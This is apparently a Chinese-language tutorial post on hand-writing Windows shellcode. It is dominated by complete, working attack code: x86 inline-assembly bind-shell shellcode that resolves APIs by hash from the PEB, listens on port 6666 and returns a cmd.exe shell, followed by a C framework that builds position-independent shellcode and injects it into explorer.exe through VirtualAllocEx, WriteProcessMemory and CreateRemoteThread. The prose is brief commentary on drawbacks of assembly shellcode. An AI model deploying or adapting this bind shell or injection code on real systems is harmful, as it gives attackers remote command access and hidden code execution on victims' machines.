CLD //存储hash push 0x01971eb1 //accept push 0x4bd39f0c //listen push 0xdda71064 //bind push 0xde78322d //WSASocket push 0x80b46a3d //WSAStartup //----------------------以上是ws2_32.dll中的函数 push 0x0c917432 //load push 0x6ba6bcc9 //createProcessA push 0x4fd18963 //ExitProcess //-----------------------以上是kernel32.dll导出的函数 mov esi,esp //esi = hash list 的顶 exitprocess lea edi,[esi + 0x20] //8个函数 *4 = 0x20 edi 指向 查找到的函数地址写入位置 xor ebx,ebx mov bh,0x05 sub esp,ebx //抬高堆栈 500h 保护 hash list mov bx,0x3233 //2 3 push ebx push 0x5F327377 //_ 2 s w push esp //ebp = "ws2_32" xor edx,edx mov ebx,fs:[edx+0x30] //peb addr mov ecx,[ebx + 0x0c] // ldr addr mov ecx,[ecx + 0x1c] // list frist push edi push esi next_module: mov ebp,[ecx+0x08] mov edi,[ecx+0x20] mov ecx,[ecx] cmp [edi + 12*2],dx jne next_module pop esi pop edi find_lib_functions: lodsd //esi 所指定的字符 传送如eax cmp eax,0x80b46a3d //zhenw0 jne find_functions //如果 要查找accept的hash时 要切换dll了 xchg ebp,eax call [edi - 0x04] // edi - 0x0c 存放这LoadLibraryA的地址 xchg ebp,eax find_functions: pushad mov eax,[ebp+0x3c] mov ecx,[ebp+eax+0x78] add ecx,ebp mov ebx,[ecx+0x20] add ebx,ebp xor edi,edi next_function_loop: inc edi //zai exp 表中查找 函数 mov esi,[ebx+edi*4] add esi,ebp cdq hash_loop: //计算hash movsx eax,byte ptr[esi] cmp al,ah jz compare_hash //如果到了 函数字符串的 00结尾就 比较hash至 ror edx,7 //右移7 add edx,eax // inc esi jmp hash_loop compare_hash: cmp edx,[esp+0x1c] jnz next_function_loop mov ebx,[ecx+0x24] add ebx,ebp mov di,[ebx+2*edi] mov ebx,[ecx+0x1c] add ebx,ebp add ebp,[ebx +4*edi] xchg eax,ebp pop edi stosd push edi popad cmp eax,0x01971eb1 //如果已经查找到最后一个hash了 就不跳转了 jne find_lib_functions function_call: //函数都找到了 开始 scoket了 add esi,0x0c //mov eax,[esi] //--------------------------------------------------wsastartup(dword,lpwsadata) //std //std push esp push 0x02 lodsd call eax // eax = 0 可以使用eax填充数据 //-------------------------------------------------WSASocketA(af,type ...) mov ecx,0x50 mov edi,esp rep stosd inc eax //eax = 1 push eax inc eax push eax lodsd call eax xchg ebp,eax // ebp = socket handle //--------------------------------------------------------bind mov eax,0x0a1aff02 xor ah,ah push eax push esp call_loop: // bind() listen() accept() dou zai zhe li push ebp lodsd call eax test eax,eax jz call_loop //初始化,startpinfo inc byte ptr [esp+0x2d] lea edi,[esp+0x38] stosd stosd stosd pop eax push esp push esp push eax push eax push eax push esp push eax push eax //int 3 //////////cmd mov dword ptr [esi],0x646d63 push esi /////////////// push eax call [esi-0x1c] call [esi-0x20]
以上是vc内联的一个bindshell的x86的shellcode,这个shellcode会监听6666端口,并返回一个cmd的shell。这个代码来自于0day安全第二版中的例子,我已经修复了其中的几处问题。这个代码我用了大约2周的闲暇时间整理分析,当时给我的感觉就是太博大精深了,只有感叹。感叹汇编代码好难,好难看懂。
为了获取si.dwFlags值和dwFlags的偏移值,我们要这样获取
为了获取si中的hStdInput元素的偏移值,我们这样获取
从上面的例子暴露出汇编编码shellcode的几个问题
1. 必须熟练掌握并能使用win32汇编,门槛高,开发效率低下,公用性差
2. 偏移量和某些定义值,得借助文档或者其他手段获取
3. 以上是win32的shellcode,如果用于x64进程中,必须重新开发一套
4. 微软不对vc x64模式下提供内联汇编的支持。
汇编编写的shellcode虽然缺点不少,其实它也有它优点
1.完全由自己实现,很多地方可以灵活实现
2.代码大小可以做到极致
#include <stdio.h> #include <Windows.h> #include <winternl.h> #include <wchar.h> #include <tlhelp32.h> PPEB get_peb(void); DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string); DWORD __stdcall ror13_hash(const char *string); HMODULE __stdcall find_module_by_hash(DWORD hash); HMODULE __stdcall find_kernel32(void); FARPROC __stdcall find_function(HMODULE module, DWORD hash); HANDLE __stdcall find_process(HMODULE kern32, const char *procname); VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size); BOOL __stdcall strmatch(const char *a, const char *b); void __stdcall shell_code() { HMODULE kern32; DWORD *dwptr; HANDLE hProcess; char procname[] = {'e','x','p','l','o','r','e','r','.','e','x','e',0}; char code[] = {0xEB, 0xFE}; kern32 = find_kernel32(); hProcess = find_process(kern32, (char *)procname); inject_code(kern32, hProcess, code, sizeof code); } HANDLE __stdcall find_process(HMODULE kern32, const char *procname) { FARPROC createtoolhelp32snapshot = find_function(kern32, 0xE454DFED); FARPROC process32first = find_function(kern32, 0x3249BAA7); FARPROC process32next = find_function(kern32, 0x4776654A); FARPROC openprocess = find_function(kern32, 0xEFE297C0); FARPROC createprocess = find_function(kern32, 0x16B3FE72); HANDLE hSnapshot; PROCESSENTRY32 pe32; hSnapshot = (HANDLE)createtoolhelp32snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) return INVALID_HANDLE_VALUE; pe32.dwSize = sizeof( PROCESSENTRY32 ); if (!process32first(hSnapshot, &pe32)) return INVALID_HANDLE_VALUE; do { if (strmatch(pe32.szExeFile, procname)) { return openprocess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID); } } while (process32next(hSnapshot, &pe32)); return INVALID_HANDLE_VALUE; } BOOL __stdcall strmatch(const char *a, const char *b) { while (*a != '' && *b != '') { char aA_delta = 'a' - 'A'; char a_conv = *a >= 'a' && *a <= 'z' ? *a - aA_delta : *a; char b_conv = *b >= 'a' && *b <= 'z' ? *b - aA_delta : *b; if (a_conv != b_conv) return FALSE; a++; b++; } if (*b == '' && *a == '') return TRUE; else return FALSE; } VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size) { FARPROC virtualallocex = find_function(kern32, 0x6E1A959C); FARPROC writeprocessmemory = find_function(kern32, 0xD83D6AA1); FARPROC createremotethread = find_function(kern32, 0x72BD9CDD); LPVOID remote_buffer; DWORD dwNumBytesWritten; remote_buffer = virtualallocex(hprocess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (remote_buffer == NULL) return; if (!writeprocessmemory(hprocess, remote_buffer, code, size, &dwNumBytesWritten)) return; createremotethread(hprocess, NULL, 0, remote_buffer, NULL, 0, NULL); } HMODULE __stdcall find_kernel32(void) { return find_module_by_hash(0x8FECD63F); } HMODULE __stdcall find_module_by_hash(DWORD hash) { PPEB peb; LDR_DATA_TABLE_ENTRY *module_ptr, *first_mod; peb = get_peb(); module_ptr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink; first_mod = module_ptr; do { if (unicode_ror13_hash((WCHAR *)module_ptr->FullDllName.Buffer) == hash) return (HMODULE)module_ptr->Reserved2[0]; else module_ptr = (PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0]; } while (module_ptr && module_ptr != first_mod); // because the list wraps, return INVALID_HANDLE_VALUE; } PPEB __declspec(naked) get_peb(void) { __asm { mov eax, fs:[0x30] ret } } DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string) { DWORD hash = 0; while (*unicode_string != 0) { DWORD val = (DWORD)*unicode_string++; hash = (hash >> 13) | (hash << 19); // ROR 13 hash += val; } return hash; } DWORD __stdcall ror13_hash(const char *string) { DWORD hash = 0; while (*string) { DWORD val = (DWORD) *string++; hash = (hash >> 13)|(hash << 19); // ROR 13 hash += val; } return hash; } FARPROC __stdcall find_function(HMODULE module, DWORD hash) { IMAGE_DOS_HEADER *dos_header; IMAGE_NT_HEADERS *nt_headers; IMAGE_EXPORT_DIRECTORY *export_dir; DWORD *names, *funcs; WORD *nameords; int i; dos_header = (IMAGE_DOS_HEADER *)module; nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew); export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); names = (DWORD *)((char *)module + export_dir->AddressOfNames); funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions); nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals); for (i = 0; i < export_dir->NumberOfNames; i++) { char *string = (char *)module + names[i]; if (hash == ror13_hash(string)) { WORD nameord = nameords[i]; DWORD funcrva = funcs[nameord]; return (FARPROC)((char *)module + funcrva); } } return NULL; } void __declspec(naked) END_SHELLCODE(void) {} int main(int argc, char *argv[]) { FILE *output_file = fopen("shellcode.bin", "w"); fwrite(shell_code, (int)END_SHELLCODE - (int)shell_code, 1, output_file); fclose(output_file); return 0; }
#if defined(_WIN64) PebAddress = (PPEB) __readgsqword( 0x60 ); #elif defined(_M_ARM) // I can assure you that this is not a mistake. The C compiler improperly emits the proper opcodes // necessary to get the PEB.Ldr address PebAddress = (PPEB) ( (ULONG_PTR) _MoveFromCoprocessor(15, 0, 13, 0, 2) + 0); __emit( 0x00006B1B ); #else PebAddress = (PPEB) __readfsdword( 0x30 ); #endif